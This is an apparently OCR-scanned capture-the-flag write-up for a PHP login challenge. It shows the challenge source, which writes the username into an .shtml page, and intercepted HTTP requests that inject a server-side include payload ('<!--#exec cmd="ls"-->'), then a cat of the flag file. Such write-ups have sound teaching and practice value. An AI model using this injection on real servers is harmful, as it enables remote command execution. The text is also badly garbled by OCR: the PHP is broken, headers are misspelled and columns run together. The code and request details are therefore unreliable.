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<%php

ob_start();

function get_hash() {
$chars = * ABCDEFGHI JELNNOPQRSTUVWKYZabcdefghi jk Innopqrstuveeyz01234567831045% 8+ )+ ;
$random = §chars[mt_rand(0, 73)]. fchars[mt_rand(0, 73)]. §chars[mt_rand(0, 73)]. $chars[mt_rand(0, 73}]. $chars[mt_rand(0, 73)];//Random 5 times
$content = unigid(). $random;
return shal(§content):

3

header ("Content-Type: text/html;charset=utf-8");
i1 (isset ($_POST[ username’ ]} and $_POST[ username’] =" )
{

Fadmin = "6d0bcl

if ( $admin == substr (md5($_POST[" password’ 13, 0,6)) {
echa “{scriptralert( [+] Welcome to manage system )<{/script>”:
§file_shtml = “public/”.get_hash().”. shtml”;
§shtml = fopen(§file_shtml, “w”) or die("Unable to open file!”):

Ftext =
o
ek
<h1>Hello,” . $_POST[ username’ ].” </h1>
ek
st :
forite (shtml, Ftext)
fclase (§shtml);
ek
echa “[!] Header error ...”:
}oelse [
echo “(seriptralert( [!] Failed )</scriptd”;
Jelse
{
ek
)
ek
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[+] Welcome to manage system



POST /index.php HTTPR/L.1 i HTTF/Ll.1 200 CK A
Host: o Server: openresty r
tbed4iisd-e4bd-4b98-a3e9-24ce 1£889855 . node3 . buuoj.cn Date: Tus, 29 Dec Z0Z0 14:11:47 GMNT
Content-Length: 31 Content-Type: text/html;charset=utf-8
Cache-Control: max-age=0 Content-Length: S5&8
Upgrade-Insecure-Fequests: 1 Connection: close
Origin: Url_is_here:
http://ebhed463ed-edbd-4h88-a3e9-24ce L1£889855 . node3 .buuo public/cE5c1494a57e62e2030elle95as0eehe755ad7E7 . shtml
J.on Vary: Accept-Encoding
Content-Type: application/x-www-form—urlencoded ¥X-FPowered-By: PHF/7.1.27
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win&d; =E4)
AppleW=hKit/537.3€ (EHTML, like Gecko) <!DOCT¥PE hitml>
Chrome/87.0.4280.88 Safari/537.36 <html>
Loecept: <head:>
text/html, application/xhtml+xml, application/xml;q=0.9, <meta charsec="ucf-8">
image/avif, image/ webp, image/ apng, */ *:q=0.8, application <titlex*Login</title>
/signed-exchanges;v=h3;c=0.9 <meta http-ecquiv="Content-Type"
Beferer: content="text/html;charset=UTF-3">
http://Ebed4E3ed-e4hd-4h98-a3e9-240e LE8E9855. node3 . buuo <meta name="viewport™
J.on/ content="width=device-width'">
Accept-Languages: zh-CH, zh;q=0.9 <link href="public/css/bass.css"
Cookie: rel="styleshest" type="text/css">
175e3ddE5£3293-08706c70d93006-530346c-144000-17523ddES <link href="public/css/login.css"
£4k01; rel="styleshest" type="text/css">
TM_distinctid=l5abb4abcl777h-01b1eB80cSdic3E-E7E1a3s-11 </head>
ad400-15abb4abco 1897 <bodyr<scriptralert(' [+] Welcome to manage
Connection: close system' )</=script>[!] Header error
<div id="tip"s</dive
username=admin&password=20Z08E£8 <div class="foot">
bijd.cn
</dive>
</ form>
</dive</body>
</html>

Vi A3 A url:

Hello,admin

data: Tuesday, 29-Dec-2020 14:12:26 UTC

Client IP: 172.16.128.15
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#texec cmd



ERT

gbhedgied-24bd-4b88-a3e9-24c2 1£889855 . node3 . buncd .ocn
Content-Length: 47

Cache-Control: max-age=0

Upgrade-Insecure-Recquests: 1

Origin:
http://Ehediied-e4bd-4b958-a3e9-24ce 1f889855. nodes3 . buuo
J.cn

Content-Type: application/x-www—form—urlencodesd
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Wine4: x&4)
AppleWebEit/537.36 (EHTHL, like Gecko)
Chrome/87.0.4280.88 Safari/537.36

Aocept:

text/html, application/xhtml+xml, application/xml;q=0.9,
image/avift, image/webp, image/apng, */ *;q=0.8,application
/eigned-exchange;v=h3;q=0.9

Feferer:
http://Ehedeied-e4hd-4b98-a3e9-24ce 1889855, node3 . buuo
J.on/
Agpcept-Lancguades
Cookie:
175e3ddf5£3293-08706c70c93006-930346c—-144000-17523ddE5
£4R01;

UM distinctid=15abb4abcl777h-01b1eB0c9d3c38-E7£1a359-11
a400-15akbb4akcl85h7

Connection: close

zh-CH, zh;c=0.9

username=<!-—ffexec cmd="1s"-->&password=_020666
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POST /index.php HTTP/L.L " HTTP/L.1l 200 OE &
Host: @ Server: openresty P

Date: Tue, 28 Dec 2020 14:13:17 GMNT

Content-Type: text/html;charset=utf-g8

Content-Length: SE8

Connection: close

Url i=s here:
public/adectScdS3ibebhd45bE0ZacTE4chl0c5800d4ecla. shtml
Vary: Accept-Encoding
H-Powered-By: PHP/7.L1.Z2

<!DOCTY¥PE html>

<html>

<head>
<meta charset="utf
<titlesLogin</titcl

<meta http-eguiv="
content="text/ html:ch

<mmeta nams="wviswp:
content="width=dswvice

<link href="publiff/css/hase.css"
rel="styleshest" typaF"text/css">

<link href="publfc/cs=s/login.css™
rel="styleshest" typp="text/css">

</ head>

<body><script>
system')</script=[!
<civ id="tip"s</di

<div class="fog

bijd.cn

</ div>

</ form>
</dive</body>
</ html>

ontent-Type"
set=UTF-8">
en

idch™>

rt(' [+] Welcome to manage
Header error ...

"

Hello,2b88015534a75975d2f8f95ba084719b8274e017.shtml
3302438afa907b9%9aa614d73ad2694b92866b7c06.shtml
3395f180dea1a9a95811d1cc1c¢8299469069a7cb.shtml
462ad7b3f27588373c66be19b7743e24329fb62e.shtml
4832698852f8f52d76e7e6f1eb69ea7ca22aea74.shtml
4e7f05ec199f63667038ffdeddea53c2d2f639a9.shtml
4eb9b3504129ab9b94156e4a62b62358d9a0b7eb.shtml
5be67cb14a7873f7db9bbbb85fa6bb63ec586ac1.shtml
5¢18f23485bc4b4089a6b955ce97fbe63957e0d9.shtml
6a58f2e2442c¢89d5f3521eb545dead7b83d1ffbd.shtml
79e08579dc072805ad10e591e90033af8aa16ff0.shtml
7d18f0c4430d10af80a08d606750dfa831ea9443.shtml
84a8d94e808267e28ce8c8caf975c86f53d4cfaf.shtml
86919bd890c1e69dee60ebc985df7b2a353fc3e5.shtml
916008a39274fe0ef477c853b70d5d994feb6d40.shtml
adecf9cd93bcbd45b602ac7f4cb20c5800d4ec2a.shtml
‘bac89a2b8c104c7e3f4e2406773d10df5a6d3fad.shtml
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payload:



#exec cmd

[B] ¥«

Hello,flag 990c66bf85a09c664f0b6741840499b2 index.php index.php.swp public
data: Tuesday, 29-Dec-2020 14:15:45 UTC

Client IP: 172.16.128.15

i f%cat falgml iy 1

ERE

Hello,flag{d0551c76-7623-43a0-b665-adfe4d11d4a1}
data: Tuesday, 29-Dec-2020 14:17:40 UTC

Client IP: 172.16.128.15
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